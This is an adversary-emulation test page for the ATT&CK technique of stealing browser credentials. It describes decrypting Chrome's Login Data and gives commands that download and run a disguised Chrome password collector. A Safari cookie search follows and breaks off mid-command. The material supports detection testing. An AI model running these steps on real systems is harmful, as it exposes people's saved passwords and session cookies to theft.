# T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

## Description from ATT&CK

> Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
> 
> For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)
> 
> Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).
> 
> Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
> 
> After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

[Source](https://attack.mitre.org/techniques/T1555/003)

## Atomic Tests

- [Atomic Test #1: Run Chrome-password Collector](#atomic-test-1-run-chrome-password-collector)
- [Atomic Test #2: Search macOS Safari Cookies](#atomic-test-2-search-macos-safari-cookies)
- [Atomic Test #3: LaZagne - Credentials from Browser](#atomic-test-3-lazagne---credentials-from-browser)
- [Atomic Test #4: Simulating access to Chrome Login Data](#atomic-test-4-simulating-access-to-chrome-login-data)
- [Atomic Test #5: Simulating access to Opera Login Data](#atomic-test-5-simulating-access-to-opera-login-data)
- [Atomic Test #6: Simulating access to Windows Firefox Login Data](#atomic-test-6-simulating-access-to-windows-firefox-login-data)
- [Atomic Test #7: Simulating access to Windows Edge Login Data](#atomic-test-7-simulating-access-to-windows-edge-login-data)
- [Atomic Test #8: Decrypt Mozilla Passwords with Firepwd.py](#atomic-test-8-decrypt-mozilla-passwords-with-firepwdpy)
- [Atomic Test #9: LaZagne.py - Dump Credentials from Firefox Browser](#atomic-test-9-lazagnepy---dump-credentials-from-firefox-browser)
- [Atomic Test #10: Stage Popular Credential Files for Exfiltration](#atomic-test-10-stage-popular-credential-files-for-exfiltration)
- [Atomic Test #11: WinPwn - BrowserPwn](#atomic-test-11-winpwn---browserpwn)
- [Atomic Test #12: WinPwn - Loot local Credentials - mimi-kittenz](#atomic-test-12-winpwn---loot-local-credentials---mimi-kittenz)
- [Atomic Test #13: WinPwn - PowerSharpPack - Sharpweb for Browser Credentials](#atomic-test-13-winpwn---powersharppack---sharpweb-for-browser-credentials)
- [Atomic Test #14: Simulating Access to Chrome Login Data - MacOS](#atomic-test-14-simulating-access-to-chrome-login-data---macos)
- [Atomic Test #15: WebBrowserPassView - Credentials from Browser](#atomic-test-15-webbrowserpassview---credentials-from-browser)
- [Atomic Test #16: BrowserStealer (Chrome / Firefox / Microsoft Edge)](#atomic-test-16-browserstealer-chrome--firefox--microsoft-edge)
- [Atomic Test #17: Dump Chrome Login Data with esentutl](#atomic-test-17-dump-chrome-login-data-with-esentutl)

### Atomic Test #1: Run Chrome-password Collector

A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)

**Supported Platforms:** Windows

**auto_generated_guid:** `8c05b133-d438-47ca-a630-19cc464c4622`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | File path for modified Sysinternals | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads|

#### Attack Commands: Run with `powershell`!

```powershell
Start-Process "#{file_path}\Sysinternals\accesschk.exe" -ArgumentList "-accepteula ."
```

#### Cleanup Commands

```powershell
Remove-Item "#{file_path}\Sysinternals" -Force -Recurse -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Modified Sysinternals must be located at #{file_path}

###### Check Prereq Commands

```powershell
if (Test-Path "#{file_path}\SysInternals") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
Expand-Archive "#{file_path}\Modified-SysInternalsSuite.zip" "#{file_path}\sysinternals" -Force
Remove-Item "#{file_path}\Modified-SysInternalsSuite.zip" -Force
```

### Atomic Test #2: Search macOS Safari Cookies

This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.

**Supported Platforms:** macOS

**auto_generated_guid:** `c1402f7b-67ca-43a8-b5f3-3143abedc01b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| search_string | String to search Safari cookies to find. | string | coinbase|

#### Attack Commands: Run with `sh`!

```sh
cd ~/Library/Cookies
grep -q "#{sear